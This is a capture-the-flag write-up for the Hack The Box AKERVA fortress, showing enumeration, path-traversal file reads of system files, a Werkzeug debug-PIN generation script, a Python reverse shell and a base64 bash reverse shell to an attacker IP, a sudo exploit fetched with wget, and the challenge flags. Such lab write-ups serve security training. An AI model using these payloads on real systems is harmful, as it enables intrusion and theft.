AKERVA

First, we need to enumerate using nmap. SSH, HTTP default and HTTP custom port 5000 is open.

╭─hnl@hnl ~/Desktop/ctf/hackthebox/fortress  
╰─➤  nmap -A 10.13.37.11 | tee nmap.log
Starting Nmap 7.80 ( https://nmap.org ) at 2022-04-12 13:32 +0630
Nmap scan report for 10.13.37.11
Host is up (0.28s latency).
Not shown: 996 closed ports
PORT     STATE    SERVICE VERSION
22/tcp   open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 0d:e4:41:fd:9f:a9:07:4d:25:b4:bd:5d:26:cc:4f:da (RSA)
|   256 f7:65:51:e0:39:37:2c:81:7f:b5:55:bd:63:9c:82:b5 (ECDSA)
|_  256 28:61:d3:5a:b9:39:f2:5b:d7:10:5a:67:ee:81:a8:5e (ED25519)
80/tcp   open     http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.4-alpha-47225
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Root of the Universe – by @lydericlefebvre & @akerva_fr
|_https-redirect: ERROR: Script execution failed (use -d to debug)
2811/tcp filtered gsiftp
5000/tcp open     http    Werkzeug httpd 0.16.0 (Python 2.7.15+)
| http-auth: 
| HTTP/1.0 401 UNAUTHORIZED\x0D
|_  Basic realm=Authentication Required
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 81.79 seconds

A quick check to snmp port using nmap. It is open.

╭─hnl@hnl ~/Desktop/ctf/hackthebox/fortress/vpn  
╰─➤  sudo nmap -sU -p161 10.13.37.11 
Starting Nmap 7.80 ( https://nmap.org ) at 2022-04-12 13:40 +0630
Nmap scan report for 10.13.37.11
Host is up (0.28s latency).

PORT    STATE SERVICE
161/udp open  snmp

Nmap done: 1 IP address (1 host up) scanned in 2.66 seconds

Flag 1 - Plain Sight

Let's enumerate HTTP default port first. When you browse to http://10.13.37.11/, you will see the following webpage.

In the source source of the webpage, you will see first flag.

	<div id="sidebar" class="sidebar">
		<header id="masthead" class="site-header" role="banner">
			<div class="site-branding">
										<p class="site-title"><a href="http://10.13.37.11/" rel="home">Root of the Universe</a></p>
						
<!-- Hello folks! -->
<!-- This machine is powered by @lydericlefebvre from Akerva company. -->
<!-- You have to find 8 flags on this machine. Have a nice root! -->
<!-- By the way, the first flag is: AKERVA{Ikn0w_F0rgoTTEN#CoMmeNts} -->

						<p class="site-description">by @lydericlefebvre &amp; @akerva_fr</p>
										<button class="secondary-toggle">Menu and widgets</button>
			</div><!-- .site-branding -->
		</header><!-- .site-header -->

			<div id="secondary" class="secondary">

Flag 2 - Take a Look Around

You will check the webpage sub directory using gobuster.

╭─hnl@hnl ~/Desktop/ctf/hackthebox/fortress  
╰─➤  gobuster -u http://10.13.37.11/ -w /usr/share/wordlists/directory-list-2.3-medium.txt 

=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.13.37.11/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout      : 10s
=====================================================
2022/04/12 13:41:50 Starting gobuster
=====================================================
/wp-content (Status: 301)
/wp-includes (Status: 301)
/dev (Status: 301)
/javascript (Status: 301)

This website is make with wordpress. The only interesting sub directory is /dev directory. Let's browse into this. And then we will see nothing.

So, we will enumerate other port that we saw on nmap udp scan result. You will found the second flag on the snmp result.

╭─hnl@hnl ~/Desktop/ctf/hackthebox/fortress/vpn  
╰─➤  snmpwalk -v2c -c public 10.13.37.11
iso.3.6.1.2.1.1.1.0 = STRING: "Linux Leakage 4.15.0-72-generic #81-Ubuntu SMP Tue Nov 26 12:20:02 UTC 2019 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (21431561) 2 days, 11:31:55.61
iso.3.6.1.2.1.1.4.0 = STRING: "Me <me@example.org>"
iso.3.6.1.2.1.1.5.0 = STRING: "Leakage"
iso.3.6.1.2.1.1.6.0 = STRING: "Sitting on the Dock of the Bay"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
---
iso.3.6.1.2.1.25.4.2.1.5.1280 = STRING: "-c /opt/check_backup.sh"
iso.3.6.1.2.1.25.4.2.1.5.1281 = STRING: "-c /opt/check_devSite.sh"
iso.3.6.1.2.1.25.4.2.1.5.1282 = STRING: "/opt/check_backup.sh"
iso.3.6.1.2.1.25.4.2.1.5.1283 = STRING: "/opt/check_devSite.sh"
iso.3.6.1.2.1.25.4.2.1.5.1285 = STRING: "/var/www/html/scripts/backup_every_17minutes.sh AKERVA{IkN0w_SnMP@@@MIsconfigur@T!onS}"
iso.3.6.1.2.1.25.4.2.1.5.1288 = STRING: "/var/www/html/dev/space_dev.py"
iso.3.6.1.2.1.25.4.2.1.5.1292 = STRING: "/var/www/html/dev/space_dev.py"
iso.3.6.1.2.1.25.4.2.1.5.1294 = STRING: "--socket-activation"
iso.3.6.1.2.1.25.4.2.1.5.7456 = ""
iso.3.6.1.2.1.25.4.2.1.5.7617 = STRING: "-c echo L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMC4xMy4xNC4yNS85MDkwIDA+JjEK|base64 -d|bash"
iso.3.6.1.2.1.25.4.2.1.5.7620 = ""
iso.3.6.1.2.1.25.4.2.1.5.7621 = STRING: "-i"
iso.3.6.1.2.1.25.4.2.1.5.7632 = STRING: "-c import pty;pty.spawn('/bin/bash')"
---

Flag 3 - Dead Poets

You already seen /var/www/html/dev/space_dev.py at the previous scan result. Let's call from web browser. You will see nothing. How about /scripts/backup_every_17minutes.sh ? Nothing seen in the browser. Let's intercept using burp. When you are with GET method, you got permission error. I change GET to POST method. And then you will see the source code of backup_every_17minutes.sh.

Here is the source code of backup_every_17minutes.sh.

#!/bin/bash
#
# This script performs backups of production and development websites.
# Backups are done every 17 minutes.
#
# AKERVA{IKNoW###VeRbTamper!nG_==}
#

SAVE_DIR=/var/www/html/;

while true
do
	ARCHIVE_NAME=backup_$(date +%Y%m%d%H%M%S)
	echo "Erasing old backups..."
	rm -rf $SAVE_DIR/*

	echo "Backuping..."
	zip -r $SAVE_DIR/$ARCHIVE_NAME /var/www/html/*

	echo "Done..."
	sleep 1020
done

Flag 4 - Now You See Me

The script is simple. The name conversation of the backup file is backup_(year month date hour minute second) and save it to /var/www/html/backups. The simple example is backup_20220102010101.zip. So, we need to know the current uptime.

╭─hnl@hnl ~/Desktop/ctf/hackthebox/fortress  
╰─➤  curl http://10.13.37.11/ --head
HTTP/1.1 200 OK
Date: Tue, 12 Apr 2022 18:09:37 GMT
Server: Apache/2.4.29 (Ubuntu)
X-Pingback: http://10.13.37.11/xmlrpc.php
Link: <http://10.13.37.11/index.php/wp-json/>; rel="https://api.w.org/"
Link: <http://10.13.37.11/>; rel=shortlink
Content-Type: text/html; charset=UTF-8

We don't know minute and second exactly. So, some of part we know is backup_2022041218????.zip. Generate 4 digits number fuzz it.

╭─hnl@hnl ~/Desktop/ctf/hackthebox/fortress  
╰─➤  seq 1000 9999 > 4digits.txt

╭─hnl@hnl ~/Desktop/ctf/hackthebox/fortress  
╰─➤  wfuzz -u http://10.13.37.11/backups/backup_2022041218FUZZ.zip -w 4digits.txt --hc 404
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://10.13.37.11/backups/backup_2022041218FUZZ.zip
Total requests: 9000

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                       
===================================================================

000000721:   200        82458    808129   20937178    "1720"                                                                        
                        L         W       Ch                                                                                        
000005928:   404        9 L      31 W     273 Ch      "6927"

Download the file using curl.

╭─hnl@hnl ~/Desktop/ctf/hackthebox/fortress  
╰─➤  curl http://10.13.37.11/backups/backup_20220412181720.zip -o file.zip                                                                          23 ↵
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 21.0M  100 21.0M    0     0   539k      0  0:00:39  0:00:39 --:--:--  771k

When you unzip the file, var directory will extracted. In /var/www/www/dev, you will find a python script file called space_dev.py.

╭─hnl@hnl ~/Desktop/ctf/hackthebox/fortress/var/www/html  
╰─➤  cat dev/space_dev.py 
#!/usr/bin/python

from flask import Flask, request
from flask_httpauth import HTTPBasicAuth
from werkzeug.security import generate_password_hash, check_password_hash

app = Flask(__name__)
auth = HTTPBasicAuth()

users = {
        "aas": generate_password_hash("AKERVA{1kn0w_H0w_TO_$Cr1p_T_$$$$$$$$}")
        }

@auth.verify_password
def verify_password(username, password):
    if username in users:
        return check_password_hash(users.get(username), password)
    return False

@app.route('/')
@auth.login_required
def hello_world():
    return 'Hello, World!'

# TODO
@app.route('/download')
@auth.login_required
def download():
    return downloaded_file

@app.route("/file")
@auth.login_required
def file():
	filename = request.args.get('filename')
	try:
		with open(filename, 'r') as f:
			return f.read()
	except:
		return 'error'

if __name__ == '__main__':
    print(app)
    print(getattr(app, '__name__', getattr(app.__class__, '__name__')))
    app.run(host='0.0.0.0', port='5000', debug = True)

Flag 5 - Open Book

Here is the vulnerable part of the code. We can called file directory with filename parameter at port 5000.

@app.route("/file")
@auth.login_required
def file():
	filename = request.args.get('filename')
	try:
		with open(filename, 'r') as f:
			return f.read()
	except:
		return 'error'

if __name__ == '__main__':
    print(app)
    print(getattr(app, '__name__', getattr(app.__class__, '__name__')))
    app.run(host='0.0.0.0', port='5000', debug = True)

Let's browser it http://10.13.37.11:5000/. It will tell you username and password.

Here is the username and password part of the code.

users = {
        "aas": generate_password_hash("AKERVA{1kn0w_H0w_TO_$Cr1p_T_$$$$$$$$}")
        }

When successful the webpage only say Hello, World!. Let's call the parameter. You can read /etc/passwd through LFI http://10.13.37.11:5000/file?filename=../../../../etc/passwd.

You can read the flag at /home/aas/flag.txt http://10.13.37.11:5000/file?filename=../../../../home/aas/flag.txt

Flag 6 - Say Friend and Enter

You can't read id_rsa through LFI http://10.13.37.11:5000/file?filename=../../../../home/aas/.ssh/id_rsa. Just only got error. This part we got confuse. So, we will find sub directory on this webpage.

╭─hnl@hnl ~/Desktop/ctf/hackthebox/fortress/var/www/html  
╰─➤  gobuster -u http://10.13.37.11:5000/ -w /usr/share/wordlists/directory-list-2.3-medium.txt             

=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.13.37.11:5000/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout      : 10s
=====================================================
2022/04/13 00:40:46 Starting gobuster
=====================================================
/console (Status: 200)

We found /console directory. In this diretory, the webpage tell use pin.

Let's find exploit relate with pin https://www.daehee.com/werkzeug-console-pin-exploit/. We need machine-id and mac-address.

  1. mac-address - http://10.13.37.11:5000/file?filename=../../../../sys/class/net/ens33/address (00:50:56:b9:6e:8f)

  2. machine-id - http://10.13.37.11:5000/file?filename=../../../../etc/machine-id (258f132cd7e647caaf5510e3aca997c1)

Let's generate mac-address through python.

╭─hnl@hnl ~/Desktop/ctf/hackthebox/fortress/var/www/html  
╰─➤  python 
Python 2.7.18 (default, Mar  8 2021, 13:02:45) 
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print(0x5056b96e8f)
345052376719

The complete exploit.

import hashlib
from itertools import chain
probably_public_bits = [
        'aas',# username
        'flask.app',# modname
        'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
        '/usr/local/lib/python2.7/dist-packages/flask/app.pyc' # getattr(mod, '__file__', None),
]
 
private_bits = [
        '345052376719', # str(uuid.getnode()),  /sys/class/net/ens33/address
        '258f132cd7e647caaf5510e3aca997c1' # get_machine_id(), /etc/machine-id
]
 
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
        if not bit:
                continue
        if isinstance(bit, str):
                bit = bit.encode('utf-8')
        h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')
 
cookie_name = '__wzd' + h.hexdigest()[:20]
 
num = None
if num is None:
        h.update(b'pinsalt')
        num = ('%09d' % int(h.hexdigest(), 16))[:9]
 
rv =None
if rv is None:
        for group_size in 5, 4, 3:
                if len(num) % group_size == 0:
                        rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                                                  for x in range(0, len(num), group_size))
                        break
        else:
                rv = num
 
print(rv)

Execute the script and you will get pin number. And then you will find a console.

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.13.14.3",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

In netcat session, we got a reverse shell.

In this aas directory, we found hidden flag.

$ ls -al
total 28
drwxr-xr-x 3 aas  aas  4096 Feb  9  2020 .
drwxr-xr-x 3 root root 4096 Feb  9  2020 ..
-rw------- 1 root root    0 Dec  7  2019 .bash_history
-rw-r--r-- 1 aas  aas   220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 aas  aas  3771 Apr  4  2018 .bashrc
-r-------- 1 aas  aas    21 Feb  9  2020 flag.txt
-rw-r--r-- 1 root root   38 Feb  9  2020 .hiddenflag.txt
dr-xr-x--- 2 aas  aas  4096 Feb 10  2020 .ssh
$ cat .hiddenflag.txt
AKERVA{IkNOW#=ByPassWerkZeugPinC0de!}

Flag 7 - Super Mushroom

Let's check sudo version.

$ sudo -V
sudo -V
Sudo version 1.8.21p2
Sudoers policy plugin version 1.8.21p2
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.21p2

This sudo version is vulnerable and here is poc https://github.com/saleemrashid/sudo-cve-2019-18634

$ wget http://10.13.14.3:1234/exploit
wget http://10.13.14.3:1234/exploit
--2022-04-12 19:21:54--  http://10.13.14.3:1234/exploit
Connecting to 10.13.14.3:1234... connected.
HTTP request sent, awaiting response... 404 File not found
2022-04-12 19:21:54 ERROR 404: File not found.

$ chmod 777 exploit
chmod 777 exploit
$ ./exploit
./exploit
[sudo] password for aas: 
Speak English you fool --- there are no subtitles in this scene.
# whoami
whoami
root
# dir
dir
flag.txt  secured_note.md
# cat flag.txt
cat flag.txt
AKERVA{IkNow_Sud0_sUckS!}

Flag 8 - Little Secret

We found secured_note.md file in root directory.

# cat secured_note.md
cat secured_note.md
R09BSEdIRUVHU0FFRUhBQ0VHVUxSRVBFRUVDRU9LTUtFUkZTRVNGUkxLRVJVS1RTVlBNU1NOSFNL
UkZGQUdJQVBWRVRDTk1ETFZGSERBT0dGTEFGR1NLRVVMTVZPT1dXQ0FIQ1JGVlZOVkhWQ01TWUVM
U1BNSUhITU9EQVVLSEUK

@AKERVA_FR | @lydericlefebvre

This is base64 and when decode it, we will find something.

╭─hnl@hnl ~/Desktop/ctf/hackthebox/fortress/var/www/html  
╰─➤  echo 'R09BSEdIRUVHU0FFRUhBQ0VHVUxSRVBFRUVDRU9LTUtFUkZTRVNGUkxLRVJVS1RTVlBNU1NOSFNLUkZGQUdJQVBWRVRDTk1ETFZGSERBT0dGTEFGR1NLRVVMTVZPT1dXQ0FIQ1JGVlZOVkhWQ01TWUVMU1BNSUhITU9EQVVLSEUK' | base64 -d
GOAHGHEEGSAEEHACEGULREPEEECEOKMKERFSESFRLKERUKTSVPMSSNHSKRFFAGIAPVETCNMDLVFHDAOGFLAFGSKEULMVOOWWCAHCRFVVNVHVCMSYELSPMIHHMODAUKHE

It is vigenere cipher and AKERVA is the key.

AKERVA{IKNOOOWVIGEEENERRRE}

Last updated

Was this helpful?